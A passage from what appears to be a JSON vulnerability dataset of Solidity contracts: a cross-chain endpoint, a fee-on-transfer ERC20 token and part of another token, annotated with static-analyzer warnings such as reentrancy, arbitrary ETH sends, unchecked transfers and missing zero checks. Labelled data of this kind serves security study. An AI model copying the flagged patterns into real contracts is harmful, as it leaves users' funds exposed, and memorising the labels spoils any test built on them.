vaultApp;\n\n address public immutable messageBus;\n\n event MessageReceived(bytes32 indexed hashedEventKey, bool hasFailed);\n\n event MultichainMessageSent(bytes32 indexed hashedEventKey);\n\n event FeeUpdated(SetEndpointFee[] feeData);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5af4d82): MultichainEndpoint.constructor(address,bool)._vaultApp lacks a zerocheck on \t messageBus = CrossChainVaultApp(_vaultApp).messageBus()\n\t// Recommendation for 5af4d82: Check that the address is not zero.\n constructor(\n address payable _vaultApp,\n bool isTestnet\n ) ERC2771Context(address(0)) {\n vaultApp = CrossChainVaultApp(_vaultApp);\n\n\t\t// missing-zero-check | ID: 5af4d82\n messageBus = CrossChainVaultApp(_vaultApp).messageBus();\n\n feeSetter = msg.sender;\n\n SAPPHIRE_CHAINID = isTestnet\n ? SAPPHIRE_CHAINID_TESTNET\n : SAPPHIRE_CHAINID_MAINNET;\n }\n\n function toggleAllowedSender(address _sender) public onlyOwner {\n allowedSenders[_sender] = !allowedSenders[_sender];\n }\n\n function setTrustedForwarder(address _forwarder) public onlyOwner {\n _setTrustedForwarder(_forwarder);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8235a3e): MultichainEndpoint.setNativeWrapper(address)._wrapper lacks a zerocheck on \t nativeWrapper = _wrapper\n\t// Recommendation for 8235a3e: Check that the address is not zero.\n function setNativeWrapper(address _wrapper) public onlyOwner {\n\t\t// missing-zero-check | ID: 8235a3e\n nativeWrapper = _wrapper;\n }\n\n function setConnectedEndpoints(\n ConnectEndpointParams[] memory _endpoints\n ) public onlyOwner {\n for (uint i = 0; i < _endpoints.length; i++) {\n require(\n _endpoints[i].chainId != block.chainid,\n \"Can't add an endpoint to the current chain\"\n );\n\n connectedEndpoints[_endpoints[i].chainId] = _endpoints[i]\n .contractAddress;\n\n chainIdByEndpointAddress[\n _endpoints[i].contractAddress\n ] = _endpoints[i].chainId;\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c49dea4): MultichainEndpoint.setFeeSetter(address)._feeSetter lacks a zerocheck on \t feeSetter = _feeSetter\n\t// Recommendation for c49dea4: Check that the address is not zero.\n function setFeeSetter(address _feeSetter) public onlyOwner {\n\t\t// missing-zero-check | ID: c49dea4\n feeSetter = _feeSetter;\n }\n\n function setFixedFee(SetEndpointFee[] calldata feeData) public {\n require(msg.sender == feeSetter, \"Not allowed\");\n\n for (uint i = 0; i < feeData.length; i++) {\n require(\n feeData[i].fee.settlementCost > 0 &&\n feeData[i].fee.settlementCostInLocalCurrency > 0,\n \"Zero\"\n );\n\n endpointsDestinationFees[feeData[i].chainId] = feeData[i].fee;\n }\n\n emit FeeUpdated(feeData);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa96436): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa96436: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4751443): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4751443: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _multichainProxyPass(\n address token,\n uint256 amount,\n bytes memory data,\n uint256 fees\n ) private {\n address sapphireEndpoint = connectedEndpoints[SAPPHIRE_CHAINID];\n\n require(\n sapphireEndpoint != address(0),\n \"Sapphire endpoint is not yet configured\"\n );\n\n bytes memory celerData = abi.encode(_msgSender(), fees, data);\n\n bytes memory bridgeTemplate = abi.encode(\n uint8(0),\n address(0),\n uint256(0)\n );\n\n uint _feesByCeler = IMessageBus(messageBus).calcFee(\n abi.encode(bridgeTemplate, celerData)\n );\n\n require(\n fees >=\n _feesByCeler +\n endpointsDestinationFees[SAPPHIRE_CHAINID]\n .settlementCostInLocalCurrency,\n \"Value is too low\"\n );\n\n celerData = abi.encode(_msgSender(), fees - _feesByCeler, data);\n\n _depositFees(fees - _feesByCeler);\n\n\t\t// reentrancy-events | ID: fa96436\n\t\t// reentrancy-events | ID: 51c144e\n\t\t// reentrancy-benign | ID: 2be4c94\n\t\t// reentrancy-benign | ID: 4751443\n IERC20(token).safeIncreaseAllowance(address(vaultApp), amount);\n\n\t\t// reentrancy-events | ID: fa96436\n\t\t// reentrancy-events | ID: 51c144e\n\t\t// reentrancy-benign | ID: 2be4c94\n\t\t// reentrancy-benign | ID: 4751443\n vaultApp.lockAndMint{value: _feesByCeler}(\n connectedEndpoints[SAPPHIRE_CHAINID],\n SAPPHIRE_CHAINID,\n token,\n amount,\n celerData\n );\n\n\t\t// reentrancy-benign | ID: 2be4c94\n\t\t// reentrancy-benign | ID: 4751443\n _messageRawHashToSender[keccak256(celerData)] = _msgSender();\n\n\t\t// reentrancy-benign | ID: 2be4c94\n\t\t// reentrancy-benign | ID: 4751443\n settledMessages[MessageStoreType.MultichainMessageSent][\n keccak256(data)\n ] = true;\n\n\t\t// reentrancy-events | ID: fa96436\n\t\t// reentrancy-events | ID: 51c144e\n emit MultichainMessageSent(keccak256(data));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 51c144e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 51c144e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2be4c94): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2be4c94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function proxyPass(\n address token,\n uint256 amount,\n bytes memory encodedParams\n ) public payable virtual {\n require(allowedSenders[msg.sender], \"Sender is not allowed\");\n\n uint256 feesValue = msg.value;\n\n if (token == nativeWrapper) {\n require(msg.value >= amount, \"Insufficient native amount\");\n\n\t\t\t// reentrancy-events | ID: 51c144e\n\t\t\t// reentrancy-benign | ID: 2be4c94\n IWROSE(nativeWrapper).deposit{value: amount}();\n\n feesValue -= amount;\n } else {\n\t\t\t// reentrancy-events | ID: 51c144e\n\t\t\t// reentrancy-benign | ID: 2be4c94\n IERC20(token).safeTransferFrom(msg.sender, address(this), amount);\n }\n\n require(\n block.chainid != SAPPHIRE_CHAINID,\n \"Can't proxy pass from Sapphire\"\n );\n\n\t\t// reentrancy-events | ID: 51c144e\n\t\t// reentrancy-benign | ID: 2be4c94\n _multichainProxyPass(token, amount, encodedParams, feesValue);\n }\n\n function executeMessageWithTransfer(\n address _token,\n uint256 _amount,\n uint64 srcChainId,\n bytes memory _message\n ) external payable override returns (CallbackExecutionStatus) {\n require(msg.sender == address(vaultApp), \"Unauthorized vault app\");\n\n require(\n !_executedMessages[keccak256(_message)],\n \"Callback already executed\"\n );\n\n (\n address sender,\n uint256 fee,\n bytes memory data\n ) = _preprocessPayloadData(_message);\n\n (bytes memory header, ) = abi.decode(data, (bytes, bytes));\n\n uint8 commandTypeRaw = abi.decode(header, (uint8));\n\n MultichainCommandType commandType = MultichainCommandType(\n commandTypeRaw\n );\n\n _executedMessages[keccak256(_message)] = true;\n\n _dataHashToSender[keccak256(data)] = sender;\n\n if (commandType == MultichainCommandType.ProxyPass) {\n uint256 convertedFee = (fee *\n endpointsDestinationFees[srcChainId]\n .settlementCostInLocalCurrency) /\n endpointsDestinationFees[srcChainId].settlementCost;\n\n return _handleProxyPass(data, _amount, _token, convertedFee);\n } else if (commandType == MultichainCommandType.Receive) {\n return _handleReceive(data, _token, _amount, false);\n }\n\n return CallbackExecutionStatus.Failed;\n }\n\n function executeMessageWithTransferFallback(\n address _token,\n uint256 _amount,\n bytes calldata _message\n ) external payable virtual override returns (CallbackExecutionStatus) {\n require(msg.sender == address(vaultApp), \"Unauthorized vault app\");\n\n require(\n !_executedMessages[keccak256(_message)],\n \"Callback already executed\"\n );\n\n (, , bytes memory data) = _preprocessPayloadData(_message);\n\n return _handleReceive(data, _token, _amount, true);\n }\n\n function _preprocessPayloadData(\n bytes memory data\n ) internal view virtual returns (address, uint256, bytes memory) {\n return (address(0), 0, data);\n }\n\n function _beforeCommandExecution(\n MultichainCommandType cmd,\n bytes memory data,\n address token,\n uint256 amount\n ) internal virtual {}\n\n function _decodeProxyPassCommand(\n bytes memory _entry\n ) internal pure returns (uint64, address, uint256, uint256, uint8) {\n return abi.decode(_entry, (uint64, address, uint256, uint256, uint8));\n }\n\n function _encodeReceiveCommand(\n address dstAddress,\n bytes32 keyIndex\n ) internal pure returns (bytes memory) {\n return\n abi.encode(\n abi.encode(uint8(MultichainCommandType.Receive)),\n abi.encode(keyIndex, dstAddress)\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b01c901): MultichainEndpoint._transferTokensTo(address,address,uint256) sends eth to arbitrary user Dangerous calls address(_to).transfer(_amount)\n\t// Recommendation for b01c901: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _transferTokensTo(\n address _to,\n address _token,\n uint256 _amount\n ) internal {\n if (_token == nativeWrapper) {\n IWROSE(_token).withdraw(_amount);\n\n\t\t\t// arbitrary-send-eth | ID: b01c901\n payable(_to).transfer(_amount);\n\n return;\n }\n\n IERC20(_token).safeTransfer(_to, _amount);\n }\n\n function _handleReceive(\n bytes memory _data,\n address _token,\n uint256 _amount,\n bool failure\n ) internal returns (CallbackExecutionStatus) {\n (, bytes memory body) = abi.decode(_data, (bytes, bytes));\n\n (bytes32 keyIndex, address dstAddress) = abi.decode(\n body,\n (bytes32, address)\n );\n\n emit MessageReceived(keyIndex, failure);\n\n settledMessages[MessageStoreType.MessageReceived][keyIndex] = true;\n\n _transferTokensTo(dstAddress, _token, _amount);\n\n return CallbackExecutionStatus.Success;\n }\n\n function _handleProxyPass(\n bytes memory,\n uint256,\n address,\n uint256\n ) internal virtual returns (CallbackExecutionStatus) {\n return CallbackExecutionStatus.Success;\n }\n}\n",
"file_name": "solidity_code_10144.sol",
"size_bytes": 108194,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n\n error MaxTxAmountReached();\n\n error MaxWalletLimitReached();\n\n error InValidTax();\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function WETH() external pure returns (address);\n}\n\ncontract Launch is Ownable, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n uint256 private buyTax;\n\n uint256 private sellTax;\n\n uint256 public _maxTxAmount;\n\n uint256 public _maxWalletSize;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) private isPairAddress;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address payable private taxWallet;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f72406f): Launch.constructor(string,string,uint256,address,uint256,uint256,uint256,uint256)._taxWallet lacks a zerocheck on \t taxWallet = address(_taxWallet)\n\t// Recommendation for f72406f: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 tSupply,\n address _taxWallet,\n uint256 bTax,\n uint256 sTax,\n uint256 _mTxAmount,\n uint256 _mWalletAmount\n ) Ownable(msg.sender) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (bTax > 100 || sTax > 100) {\n revert InValidTax();\n }\n\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// missing-zero-check | ID: f72406f\n taxWallet = payable(_taxWallet);\n\n buyTax = bTax;\n\n sellTax = sTax;\n\n _maxTxAmount = _mTxAmount;\n\n _maxWalletSize = _mWalletAmount;\n\n _isExcludedFromFee[msg.sender] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[taxWallet] = true;\n\n _mint(msg.sender, tSupply);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f15cef3): Launch.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f15cef3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22d76a8): Launch.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22d76a8: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6798de3): Launch.setTaxWallet(address)._newWallet lacks a zerocheck on \t taxWallet = _newWallet\n\t// Recommendation for 6798de3: Check that the address is not zero.\n function setTaxWallet(address payable _newWallet) public onlyOwner {\n\t\t// missing-zero-check | ID: 6798de3\n taxWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a5488e2): Launch.updateTaxAmount(uint8,uint8) should emit an event for buyTax = _buy sellTax = _sell \n\t// Recommendation for a5488e2: Emit an event for critical parameter changes.\n function updateTaxAmount(uint8 _buy, uint8 _sell) public onlyOwner {\n if (_buy > 100 || _sell > 100) {\n revert InValidTax();\n }\n\n\t\t// events-maths | ID: a5488e2\n buyTax = _buy;\n\n\t\t// events-maths | ID: a5488e2\n sellTax = _sell;\n }\n\n function excludeFromFee(address[] memory _wallets) public onlyOwner {\n for (uint256 i = 0; i < _wallets.length; i++) {\n _isExcludedFromFee[_wallets[i]] = true;\n }\n }\n\n function includeInFee(address _wallet) public onlyOwner {\n _isExcludedFromFee[_wallet] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 01e4adf): Launch.updateLimits(uint256,uint256) should emit an event for _maxTxAmount = _tx _maxWalletSize = _wallet \n\t// Recommendation for 01e4adf: Emit an event for critical parameter changes.\n function updateLimits(uint256 _tx, uint256 _wallet) public onlyOwner {\n\t\t// events-maths | ID: 01e4adf\n _maxTxAmount = _tx;\n\n\t\t// events-maths | ID: 01e4adf\n _maxWalletSize = _wallet;\n }\n\n function setPairContract(address _pair, bool _isPair) public onlyOwner {\n _isExcludedFromFee[_pair] = _isPair;\n\n isPairAddress[_pair] = _isPair;\n }\n\n function updateRouterContract(address _router) public onlyOwner {\n uniswapV2Router = IUniswapV2Router02(_router);\n }\n\n function disableSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 6525e13): Launch.withdrawStuckAsset(address) ignores return value by IERC20(_token).transfer(taxWallet,tb)\n\t// Recommendation for 6525e13: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawStuckAsset(address _token) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n bool success;\n\n (success, ) = address(taxWallet).call{value: contractETHBalance}(\n \"\"\n );\n }\n\n if (_token != address(0)) {\n uint256 tb = IERC20(_token).balanceOf(address(this));\n\n if (tb > 0) {\n\t\t\t\t// unchecked-transfer | ID: 6525e13\n IERC20(_token).transfer(taxWallet, tb);\n }\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 93352b7): Launch.manualswap(bool) sends eth to arbitrary user Dangerous calls taxWallet.transfer(address(this).balance)\n\t// Recommendation for 93352b7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualswap(bool ethTransfer) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (\n _allowances[address(this)][address(uniswapV2Router)] <\n contractBalance\n ) {\n _approve(\n address(this),\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n swapTokensForEth(contractBalance);\n\n if (ethTransfer) {\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// arbitrary-send-eth | ID: 93352b7\n taxWallet.transfer(address(this).balance);\n }\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: d12bfc9\n\t\t// reentrancy-benign | ID: f6bc84b\n\t\t// reentrancy-eth | ID: 90aab36\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f09779): Launch.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f09779: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d12bfc9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d12bfc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f6bc84b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f6bc84b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 90aab36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 90aab36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b86c25a): Launch._update(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for b86c25a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _update(address from, address to, uint256 value) internal virtual {\n address owner__ = owner();\n\n if (from != owner__ && !_isExcludedFromFee[to]) {\n if (_balances[to] + value > _maxWalletSize) {\n revert MaxWalletLimitReached();\n }\n\n if (value > _maxTxAmount) {\n revert MaxTxAmountReached();\n }\n }\n\n uint256 taxAmount;\n\n bool shouldSwap = false;\n\n if (from != owner__ && to != owner__) {\n if (isPairAddress[from]) {\n taxAmount = (value * buyTax) / (100);\n }\n\n if (isPairAddress[to]) {\n taxAmount = (value * sellTax) / (100);\n\n shouldSwap = true;\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] += taxAmount;\n\n emit Transfer(from, address(this), taxAmount);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = (contractTokenBalance > 0) && shouldSwap;\n\n if (\n canSwap &&\n !inSwap &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t// reentrancy-events | ID: d12bfc9\n\t\t\t// reentrancy-benign | ID: f6bc84b\n\t\t\t// reentrancy-eth | ID: 90aab36\n swapTokensForEth(balanceOf(address(this)));\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: d12bfc9\n\t\t\t\t// reentrancy-eth | ID: 90aab36\n taxWallet.transfer(address(this).balance);\n }\n }\n\n if (from == address(0)) {\n\t\t\t// reentrancy-benign | ID: f6bc84b\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 90aab36\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-benign | ID: f6bc84b\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 90aab36\n _balances[to] += value - taxAmount;\n }\n }\n\n\t\t// reentrancy-events | ID: d12bfc9\n emit Transfer(from, to, value - taxAmount);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091b8d8): Launch._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091b8d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1327ac1): Launch._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1327ac1: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24033ce): Launch._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24033ce: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n",
"file_name": "solidity_code_10145.sol",
"size_bytes": 19092,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SNBS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb506a3): SNBS._taxWallet should be immutable \n\t// Recommendation for eb506a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f63b4b): SNBS._initialBuyTax should be constant \n\t// Recommendation for 3f63b4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e093be): SNBS._initialSellTax should be constant \n\t// Recommendation for 8e093be: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// 